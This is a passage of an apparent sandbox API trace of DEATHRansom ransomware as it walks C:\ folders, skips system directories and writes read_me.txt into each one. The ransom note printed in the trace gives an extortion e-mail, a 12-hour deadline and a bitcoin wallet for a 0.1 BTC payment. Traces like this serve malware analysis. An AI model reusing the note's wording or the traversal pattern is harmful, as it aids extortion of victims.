out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0077.713] wnsprintfW (in: pszDest=0x41a0078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-TW\\..") returned 20 [0077.713] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.713] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.713] wnsprintfW (in: pszDest=0x41a0078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned 33 [0077.713] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0077.713] FindClose (in: hFindFile=0x32fc248 | out: hFindFile=0x32fc248) returned 1 [0077.713] wnsprintfW (in: pszDest=0x41a0078, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Boot\\zh-TW\\read_me.txt") returned 29 [0077.713] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\read_me.txt" (normalized: "c:\\boot\\zh-tw\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b0 [0077.714] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0077.714] WriteFile (in: hFile=0x7b0, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17f30c, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17f30c*=0x6b3, lpOverlapped=0x0) returned 1 [0077.714] CloseHandle (hObject=0x7b0) returned 1 [0077.715] GetProcessHeap () returned 0x540000 [0077.715] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41a0078 | out: hHeap=0x540000) returned 1 [0077.715] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x17f320 | out: lpFindFileData=0x17f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0077.715] FindClose (in: hFindFile=0x32fc1c8 | out: hFindFile=0x32fc1c8) returned 1 [0077.715] wnsprintfW (in: pszDest=0x4180068, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Boot\\read_me.txt") returned 23 [0077.715] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\read_me.txt" (normalized: "c:\\boot\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x780 [0077.715] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0077.715] WriteFile (in: hFile=0x780, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17f584, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17f584*=0x6b3, lpOverlapped=0x0) returned 1 [0077.716] CloseHandle (hObject=0x780) returned 1 [0077.716] GetProcessHeap () returned 0x540000 [0077.716] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4180068 | out: hHeap=0x540000) returned 1 [0077.716] FindNextFileW (in: hFindFile=0x32fc048, lpFindFileData=0x17f598 | out: lpFindFileData=0x17f598*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x329bf68, dwReserved1=0x17f5e0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0077.716] wnsprintfW (in: pszDest=0x4160058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\bootmgr") returned 14 [0077.716] FindNextFileW (in: hFindFile=0x32fc048, lpFindFileData=0x17f598 | out: lpFindFileData=0x17f598*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x329bf68, dwReserved1=0x17f5e0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0077.716] wnsprintfW (in: pszDest=0x4160058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\BOOTSECT.BAK") returned 19 [0077.716] FindNextFileW (in: hFindFile=0x32fc048, lpFindFileData=0x17f598 | out: lpFindFileData=0x17f598*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x329bf68, dwReserved1=0x17f5e0, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0077.716] wnsprintfW (in: pszDest=0x4160058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Config.Msi") returned 17 [0077.716] lstrcmpW (lpString1="Config.Msi", lpString2="..") returned 1 [0077.716] lstrcmpW (lpString1="Config.Msi", lpString2=".") returned 1 [0077.717] StrStrW (lpFirst="config.msi", lpSrch="programdata") returned 0x0 [0077.717] StrStrW (lpFirst="config.msi", lpSrch="$recycle.bin") returned 0x0 [0077.717] StrStrW (lpFirst="config.msi", lpSrch="program files") returned 0x0 [0077.717] StrStrW (lpFirst="config.msi", lpSrch="windows") returned 0x0 [0077.717] StrStrW (lpFirst="config.msi", lpSrch="all users") returned 0x0 [0077.717] StrStrW (lpFirst="config.msi", lpSrch="appdata") returned 0x0 [0077.717] GetProcessHeap () returned 0x540000 [0077.717] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4180068 [0077.717] lstrcpyW (in: lpString1=0x4180068, lpString2="\\\\?\\C:\\Config.Msi" | out: lpString1="\\\\?\\C:\\Config.Msi") returned="\\\\?\\C:\\Config.Msi" [0077.717] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 26 [0077.717] QueueUserWorkItem (Function=0x40a710, Context=0x4180068, Flags=0x0) returned 1 [0077.717] GetProcessHeap () returned 0x540000 [0077.717] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x41a0078 [0077.717] wnsprintfW (in: pszDest=0x41a0078, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Config.Msi\\*") returned 19 [0077.717] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Config.Msi\\*", lpFindFileData=0x17f320 | out: lpFindFileData=0x17f320*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x32fc1c8 [0077.717] wnsprintfW (in: pszDest=0x41a0078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Config.Msi\\.") returned 19 [0077.717] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0077.717] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.717] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x17f320 | out: lpFindFileData=0x17f320*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0077.717] wnsprintfW (in: pszDest=0x41a0078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Config.Msi\\..") returned 20 [0077.717] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.718] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x17f320 | out: lpFindFileData=0x17f320*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 0 [0077.718] FindClose (in: hFindFile=0x32fc1c8 | out: hFindFile=0x32fc1c8) returned 1 [0077.718] wnsprintfW (in: pszDest=0x41a0078, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Config.Msi\\read_me.txt") returned 29 [0077.718] CreateFileW (lpFileName="\\\\?\\C:\\Config.Msi\\read_me.txt" (normalized: "c:\\config.msi\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x780 [0077.718] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0077.718] WriteFile (in: hFile=0x780, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17f584, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17f584*=0x6b3, lpOverlapped=0x0) returned 1 [0077.719] CloseHandle (hObject=0x780) returned 1 [0077.719] GetProcessHeap () returned 0x540000 [0077.719] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41a0078 | out: hHeap=0x540000) returned 1 [0077.719] FindNextFileW (in: hFindFile=0x32fc048, lpFindFileData=0x17f598 | out: lpFindFileData=0x17f598*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x17f5e0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0077.719] wnsprintfW (in: pszDest=0x4160058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Documents and Settings") returned 29 [0077.719] lstrcmpW (lpString1="Documents and Settings", lpString2="..") returned 1 [0077.719] lstrcmpW (lpString1="Documents and Settings", lpString2=".") returned 1 [0077.719] StrStrW (lpFirst="documents and settings", lpSrch="programdata") returned 0x0 [0077.719] StrStrW (lpFirst="documents and settings", lpSrch="$recycle.bin") returned 0x0 [0077.719] StrStrW (lpFirst="documents and settings", lpSrch="program files") returned 0x0 [0077.719] StrStrW (lpFirst="documents and settings", lpSrch="windows") returned 0x0 [0077.719] StrStrW (lpFirst="documents and settings", lpSrch="all users") returned 0x0 [0077.720] StrStrW (lpFirst="documents and settings", lpSrch="appdata") returned 0x0 [0077.720] GetProcessHeap () returned 0x540000 [0077.720] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x41a0078 [0077.720] lstrcpyW (in: lpString1=0x41a0078, lpString2="\\\\?\\C:\\Documents and Settings" | out: lpString1="\\\\?\\C:\\Documents and Settings") returned="\\\\?\\C:\\Documents and Settings" [0077.720] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 27 [0077.720] QueueUserWorkItem (Function=0x40a710, Context=0x41a0078, Flags=0x0) returned 1 [0077.720] GetProcessHeap () returned 0x540000 [0077.720] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x41b0080 [0077.720] wnsprintfW (in: pszDest=0x41b0080, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Documents and Settings\\*") returned 31 [0077.720] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Documents and Settings\\*", lpFindFileData=0x17f320 | out: lpFindFileData=0x17f320*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="\x07")) returned 0xffffffff [0077.720] wnsprintfW (in: pszDest=0x41b0080, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Documents and Settings\\read_me.txt") returned 41 [0077.720] CreateFileW (lpFileName="\\\\?\\C:\\Documents and Settings\\read_me.txt" (normalized: "c:\\documents and settings\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x780 [0077.721] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0077.721] WriteFile (in: hFile=0x780, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17f584, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17f584*=0x6b3, lpOverlapped=0x0) returned 1 [0077.722] CloseHandle (hObject=0x780) returned 1 [0077.722] GetProcessHeap () returned 0x540000 [0077.722] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b0080 | out: hHeap=0x540000) returned 1 [0077.722] FindNextFileW (in: hFindFile=0x32fc048, lpFindFileData=0x17f598 | out: lpFindFileData=0x17f598*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x813b7be0, ftLastWriteTime.dwHighDateTime=0x1d4d5ae, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x17f5e0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0077.722] wnsprintfW (in: pszDest=0x4160058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\hiberfil.sys") returned 19 [0077.722] FindNextFileW (in: hFindFile=0x32fc048, lpFindFileData=0x17f598 | out: lpFindFileData=0x17f598*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x17f5e0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0077.722] wnsprintfW (in: pszDest=0x4160058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache") returned 15 [0077.722] lstrcmpW (lpString1="MSOCache", lpString2="..") returned 1 [0077.722] lstrcmpW (lpString1="MSOCache", lpString2=".") returned 1 [0077.722] StrStrW (lpFirst="msocache", lpSrch="programdata") returned 0x0 [0077.722] StrStrW (lpFirst="msocache", lpSrch="$recycle.bin") returned 0x0 [0077.722] StrStrW (lpFirst="msocache", lpSrch="program files") returned 0x0 [0077.722] StrStrW (lpFirst="msocache", lpSrch="windows") returned 0x0 [0077.722] StrStrW (lpFirst="msocache", lpSrch="all users") returned 0x0 [0077.722] StrStrW (lpFirst="msocache", lpSrch="appdata") returned 0x0 [0077.722] GetProcessHeap () returned 0x540000 [0077.722] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x41b0080 [0077.722] lstrcpyW (in: lpString1=0x41b0080, lpString2="\\\\?\\C:\\MSOCache" | out: lpString1="\\\\?\\C:\\MSOCache") returned="\\\\?\\C:\\MSOCache" [0077.722] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 28 [0077.722] QueueUserWorkItem (Function=0x40a710, Context=0x41b0080, Flags=0x0) returned 1 [0077.722] GetProcessHeap () returned 0x540000 [0077.722] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x41c0088 [0077.723] wnsprintfW (in: pszDest=0x41c0088, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\*") returned 17 [0077.723] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\*", lpFindFileData=0x17f320 | out: lpFindFileData=0x17f320*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, 